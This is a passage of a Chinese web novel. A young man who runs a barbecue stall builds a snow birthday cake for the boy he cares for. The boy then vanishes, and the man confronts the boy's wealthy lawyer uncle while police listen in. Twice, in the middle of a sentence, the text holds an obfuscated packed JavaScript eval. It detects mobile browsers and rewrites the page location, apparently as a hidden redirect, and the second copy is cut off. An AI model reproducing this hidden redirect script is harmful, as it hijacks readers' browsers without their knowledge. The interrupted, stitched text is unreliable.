楚辞舟却松了口气,指挥道:“那就别在那干站着,过来给我们算账,上菜。” ……??? ……还有这好事? 周浩大喜。 不得不说,新脑子就是好用。 周浩记账之快之精,哪一桌,点了什么菜,他不用看单子就能报出价来,上菜也是又快又好,一个人能干两个人的活。这下老板娘直接稳坐钓鱼台,动动手指收收钱就行,久而久之,都快爱上这个小帮手了。 日子一平顺起来,时间就过得飞快。 转眼就到了年关附近,此时的烧烤摊已经经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589346|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营了半年,楚辞舟这个二股东不仅成功回本,而且除开现有的家当和酒水存货以外,还净赚了六万块,比起当初背了几件衣服就狼狈出逃的那时候,已经算得上是个有米的小老板了。 临近年关,小县城下起了雪。 这天,老板娘拿出两封红包,说什么都要塞给俩小孩儿。 “拿到。不要见外哈。”她说。 那俩红包份量不薄,叠一块儿少说也得有四五千。 楚辞舟自觉受之有愧,推让不得,不由看向老板。 王斌拍拍他肩膀,爽利一笑:“拿到嘛,小钱!你晓不晓得自从你来了过后,给我们店创造了好多收入哦!这点钱,逗算你们两个小娃娃的压岁钱,拿去买点吃的耍的,算是我俩口子一点心意。” 看他犹豫,老板娘乘机把红包塞进他俩手里:“好了,拿到嘛。明天我两个逗回四川过年去了,店头钥匙拿你,你个人想出摊逗出摊哈。” 楚辞舟便将红包收了,递给周浩,笑道:“不用,马上过年了,正好我也休息一下,放松放松。” 周浩一听休息,心头一阵雀跃。 楚辞舟平时太忙了,自认识以来,他在家的时间简直就是屈指可数。不是在送牛奶,就是在摆摊卖烧烤,虽然开了烧烤摊以后他就把送牛奶的活儿给辞了,但是很显然,烧烤摊这边更辛苦,才短短几个月工夫,人都瘦得脱形了。 周浩第一次体会到什么叫“弱不胜衣”——消瘦得就像连衣服的重量都承受不住一样。 他这个年纪本该爱玩,现在倒像个小大人一样,坚决拒绝了楚辞舟带他出门的提议,每天监督楚辞舟补觉,必须睡到日上三竿。 楚辞舟本身觉少,对这作息极不习惯,每次睡醒了就要起来,却被在客厅里忙忙叨叨拖地晾衣服的小孩儿发现,生拉硬拽地推回床上,不禁好笑道:“反了你了,你小子还管上我了!” 最后还是乖乖吃了早餐,躺回去补眠。 看着他认命地闭上眼睛,周浩不知怎么,心里有些美滋滋的。 这还是楚辞舟第一次愿意听他的话,让他有种隐秘的、难言的满足感,喝了蜜一样。 不知道为什么,他明明一直觉得自己才是应该照顾楚辞舟的那个,偏偏现在的状况完全相反,让他很扭曲,很苦恼。 如果他能早出生十年……不,二十年就好了,这样他就能有机会照顾小楚辞舟。小楚辞舟什么样呢?一定是眼睛大大的,头发软软卷卷,声音黏黏糊糊可爱极了,还会扑在他怀里叫哥哥…嘿嘿,真是想想都兴奋。 不过,命运的安排总是不期而至,他的幻想,很快就被打破了。 大年三十,筒子楼家家户户张灯结彩。 温莹莹端着饺子过来的时候,惊讶地发现二楼大娘和三楼大爷居然都在。 这俩老人都是气象局退休职工,儿女早年就出国留学,不在身边,经过这大半年的相处,他们已经将楚辞舟这个贴心的邻居当成了亲儿子。 筒子楼没有入户厨房,家家户户都把燃气灶支在门外。正是饭点儿,楼道里充斥着各种各样的饭香。大爷在门外支着的灶台上张罗着,大娘在帮忙摆盘。温莹莹一见便笑开了:“叔叔,阿姨!你们也在!” 大娘见是她,也笑道:“闺女,你来得正好,瞧瞧你大爷今天给你露一手。” 温莹莹一瞅锅里:“哎呀,梭子蟹!柠檬虾!粉蒸肉!大爷,您还有这一手呢?” 大爷呵呵道:“怎么样,馋了吧?一会儿就能开吃咯。莹莹,你先去洗个手,顺便看看小舟和小浩这俩猴小子跑哪去了。” 楚辞舟和周浩没去哪,就在楼下空地上放烟花呢。 小县城里不存在烟花禁放的问题,周浩就用之前的“压岁钱”买了一大堆,趁着大家都在吃饭,赶紧拉楚辞舟出来放了。 他买的有几个装填量特别大的,升空后能炸出一片的那种。楚辞舟点了,看它们在头顶上爆出一片绚烂,有些感慨:“好久没放过烟花了。上一次放还是小时候。” 周浩今天的心情看起来有些沉重,不像以往那样活跃,但听到这里还是好奇地抬起了头:“多小?” 楚辞舟道:“大概…像你现在这样?” 说到这里,他突然想起什么,问:“对了,你生日什么时候?” 周浩看着烟火,眉头皱了起来,小脸也绷得紧紧的:“明天。” 楚辞舟:“?” 楚辞舟:“真的假的,明天?” 周浩:“真的啊,大年初一嘛。楚辞舟,明天我八岁了!” 周浩还是固执地叫楚辞舟的名字。因为他始终认为自己只是出生得晚了些,体格小了些,但总有一天他会长大的,到时候他就能…… 楚辞舟已经习惯了,揶揄他:“好吧,八岁了,是大孩子了。” 周浩:“………………” 他最好明天就能长大! 巨大的噼啪声中,楚辞舟大声说:“怎么不早点说?早知道给你订个蛋糕,过了十二点,就能许愿了。” 周浩一哂:“忘记了。” 其实没忘。 天天都在盼望长大的人,怎么可能会忘? 只是没人给他过过生日,他也没想过过。 楚辞舟又反悔了:“不过大过年的,也确实没地方订蛋糕。” 周浩点了点头。 是啊,因为正好是过年,所以就算旁人想给他过,也过不了,这一点他早就已经明白了的。 却听楚辞舟说:“这样,哥给你堆一个。” 说完,他让周浩在这儿等着。周浩等了一会儿,见他变魔术似的提了个推雪铲和四角抹子。 楚辞舟转眼就用推雪铲推出了个一米见方的大雪坯子,蹲下,用抹子修修型,又铲了雪倒在雪坯上,如此层层堆砌。 他砌雪的动作行云流水,看起来就像个专业的泥瓦匠。 周浩看着那只渐渐成型的雪“蛋糕”:“啊,还是三层的。” 说话的时候,他感觉喉咙有些发热。 楚辞舟回他:“那必须,哥哥这点排面还是有的。” 一切该有的都有了。 三层的蛋糕有了,happybirthday的祝福语也有了,甚至连“蜡烛”都用齐整的八根小仙女棒,插上了。 周浩看着他点燃的时候想,原来没有条件也是可以创造条件的。 温莹莹来找他俩的时候,就看见两个人在和周浩一般高的“蛋糕”面前闭着眼睛许愿。 她兴奋地跑过去:“谁过生日啊?” “我。”周浩今天心情很好,难得地不嫌她多余。 温莹莹兴奋地围着蛋糕前前后后地转了一会儿,忽然眼前一亮,拍手道:“你等等!” 说完哒哒哒地跑了回去。 不一会儿,她回来了,手里抱着一捧蓝紫色的月季。 她笑:“过生日怎么能少了花?来,周浩小朋友,祝你……呃……一、二、三、四、五、六、七、八,”她把蛋糕上的仙女棒底座数了一遍,笑着道,“祝你八岁生日快乐,周浩小朋友!” 这一天,周浩决定和温莹莹成为(暂时的)好朋友。 嗯,暂时的。 毕竟周小少爷高傲的内心,容纳不下太多的人。 20. 第 20 章 吃饭的时候,周小少爷的新朋友发现有些不对。 好像,少了个人? “诶?周浩呢?”温莹莹奇怪道。 碗筷不够,大娘从自己家里拿了一些上来,听见她问话,道:“去公厕了。怎么,还没回来?” “什么时候去的?”楚辞舟问。 “刚才蒸丸子的时候就去了,”大娘说,“哎呦,得有个二十分钟了吧!怎么这么久?” 这可不好。 所有人都站了起来。 温莹莹道:“小楚哥,你赶快去公厕看看,别是出什么事儿了吧?9” 楚辞舟不用她催促,抓起外套快步向外走。 大爷大妈也着急了。小楚这个远房表弟,虽然有时候嘚了巴嗖的,一脸“总有刁民想害朕”的模样,但整体上还是个不错的小孩儿,他们早就已经把他当成自己的孙辈儿一样心疼了。 如今遇到这种事,他们也没办法坐视不管,于是四人分头行动起来。 楚辞舟和大爷去公厕,温莹莹和大妈去刚才放烟花的空地上找。 然而,这天,他们寻找的小孩儿,没有回来。 大年初一,也没有动静。 大爷大妈急得都在派出所里病倒了,楚辞舟将他们连同温莹莹都劝了回去,自己坐在派出所的长椅上发呆。 公厕附近去的人多,地上的雪都被踩化了,光凭脚印调查不出个所以然来。 针对他们提供的孩子的年龄信息,警方主要还是考虑一个拐卖,并将目标锁定在了气象小区宿舍附近的可疑人物以及县城出高速的沿途车辆上,拦车挨个检查。 可惜,毫无头绪。 眼看着黄金48小时就要过去,警方也开始着急,楚辞舟却突然接到了一通奇怪的电话。 电话是一个陌生男人打来的,开口便是:“楚先生,你好。” 这人语调冷漠,那句“你好”听起来一点也没有问好的意思,不知道的还以为他们俩是仇人。 而且这分明是他第一次拨打楚辞舟的号码,接通后却连一点疑虑的意思也没有,像是非常确定对面的人就是姓楚。 这通电话实在是有些古怪,楚辞舟不由看了看旁边的警察。 警察已经调试好了信号追踪,对他点了点头。 楚辞舟放下心来,沉声道:“是,请问你是?” 对面平淡无波地开口:“我是周浩的叔叔,这段时间感谢你对周浩的照顾。另外,我已经准备将他接回北京读书,特知会一声。” 意识到对面要挂,楚辞舟急忙喊住:“……等等!” 对面听起来像是意料之中般,不等他继续往下说,就淡漠地开口:“楚先生,不用着急,你替我照顾周浩这么久,酬劳方面,我是不会亏待楚先生的。” “据我所知,楚先生身上应该背负了大额的债务吧?那些债务,我会替楚先生还清,再在县城买一栋房子,作为楚先生这段时间辛苦的酬劳。” 楚辞舟:“……” 楚辞舟也冷了下来:“酬你大爷。” 对面:“?” 像是不敢相信一般:“你说什么?” 楚辞舟音调高了八度:“我说,酬你大爷!!!听不明白吗?我问你,周浩呢?周浩在你那儿对不对?” 对面沉默一会儿:“楚先生的素质,有些堪忧啊。” 楚辞舟更火了,腾地站起来:“堪忧你大爷!你是不是觉得你很牛逼啊?帮我还债,我还得谢谢你呗?我问你,你到底想干什么?周浩呢?他是不是被你带走了?” 想想这几天大爷大妈担忧得都犯病了的身体,再想想这个年过得!别说骂人,楚辞舟气得都想打人了。什么东西啊?房子他自己不会挣?债他自己不会还?楚辞舟手背青筋暴出,一巴掌拍在派出所的大理石台面上,指尖都拍得发红。 那边又是一阵沉默:“你想见周浩,来东方花园,我们谈谈。” · 到达咖啡厅的时候,楚辞舟看见的便是一个衣冠齐楚,面色冷淡的男人。 男人大约四十岁上下,没有穿西装,但浑身上下都透露着一股子精英的气质。看见楚辞舟时,他评估似的上下打量了一眼,伸手指了指面前空着的座位。 “楚先生,请坐。” 这人说话的时候是不会笑的,就连指座时也没有,领导对下属似的高傲。 一绑架犯,还挺傲气? 楚辞舟想起当初周浩口里的“传销头子”,连坐都没坐,径直没好气地开口:“周浩呢?” 对方没回答,反而推过来一张名片。 【周展恒·展信律师事务所合伙人】。 什么东西? 这个板着一张死人脸的绑架犯是律所老板? 周展恒板着他那张死人脸,开口道:“楚先生,我还是那句话,感谢你这段时间以来对周浩的照顾。但接下来周浩的一切事务,自有我这个叔叔接手,就不劳你费心了。” 楚辞舟还是没坐,直接伸出手,将名片往回一推,推回对方面前:“一张名片能说明什么?” 他站着,周展恒坐着,再加上这个动作,很有种挑衅的感觉。 然而出乎意料地,周展恒并没有生气,而是面无表情地收回了名片,转头打开随身的公文包,从里面取出一叠东西,一样样摊开放在桌上,推给楚辞舟看。 “这是本人和周浩父母的关系证明。这是十年前他父亲婚前的户口证明。以及,这个,是周浩的出生证明。相信楚先生应该可以从这些证明中看出,本人和周浩的确存在血缘关系。” 楚辞舟摸了摸左耳上正在通话中的蓝牙耳机。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589347|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 耳机中传来警察的声音:“楚先生,请仔细查看资料,确认对方是小孩的亲叔叔吗?” 局面似乎变得有些不利。 楚辞舟大脑飞转。 忽然,一个女警提醒道:“楚先生,请向他确认孩子是否愿意接受他的监护。” 经她提醒,楚辞舟心头渐渐安定下来。 他推开资料:“这些资料只能证明你和周浩的关系,可我怎么知道周浩本人愿不愿意跟你回去?” “所以,”他开口,“我要先见到人,才能信你。” 话说到这里,周展恒自然也明白他的意思,可他似乎早有准备:“楚先生,你好像也不是周浩的监护人吧?从法律上来说,我没有必要向你证明他的意愿。” 既然对方油盐不进,楚辞舟也强硬起来:“周先生,我已经报警了,你不经过我们同意就把人带走,这和绑架有什么分别?” 这一次,或许是托了“报警”二字的福,周展恒没有正面接招。 他垂了垂眸,手指在杯沿浅浅划了一圈,慢条斯理地开口:“楚先生,看样子你很关心我的这位侄儿,谢谢。但是,从真正有利于孩子的角度来说,我可以给他更好的生活,更加优质的教育,而你呢?你有什么能力养他?据我所知,楚先生身上应当还背负着大量的债务吧?” “……” 于楚辞舟的角度来说,这个人真是太讨厌了。 不仅看不起人,还乐于将别人的痛点当做利剑,毫不留情地用来进行攻击。可偏偏他说的都是事实,楚辞舟一句也反驳不了。 半晌,他艰难开口:“我正在攒钱。” 周展恒一针见血:“就凭你的烧烤摊?” “……” 楚辞舟咬紧牙关。 周展恒一击而中,也不追击,微微眯着双眼,气定神闲地看着楚辞舟。 这是一个成功的社会精英,深谙谈判之道。他不说话的时候,便很难看出来在想些什么。 但楚辞舟怎么可能就这样被他压倒? 他顶着这样的压迫感,死死盯着对方,终于,在视线胶着的火花之中,他捕捉到了一丝一闪而逝的异样。 对方眼中一闪而逝的成算,与刚才手指上不易察觉的小动作叠在一起。不知怎的,让楚辞舟原本紧绷的大脑仿佛被闪电击中一般,忽然间福至心灵! 他一改先前的萎靡不振,换上了气定神闲的表情,反击道:“周先生,刚才你是不是心虚了?所以其实刚才我猜中了,周浩他压根就不愿意跟你回去,对吧?” “毕竟当初他双亲失联,无家可归的时候你不来;走投无路、为了七百块被逼得跳河寻死的时候你不来,现在孩子死了你知道喂奶了?大清亡了你知道上朝了?” “周先生,他那么聪明,真的不恨你吗?”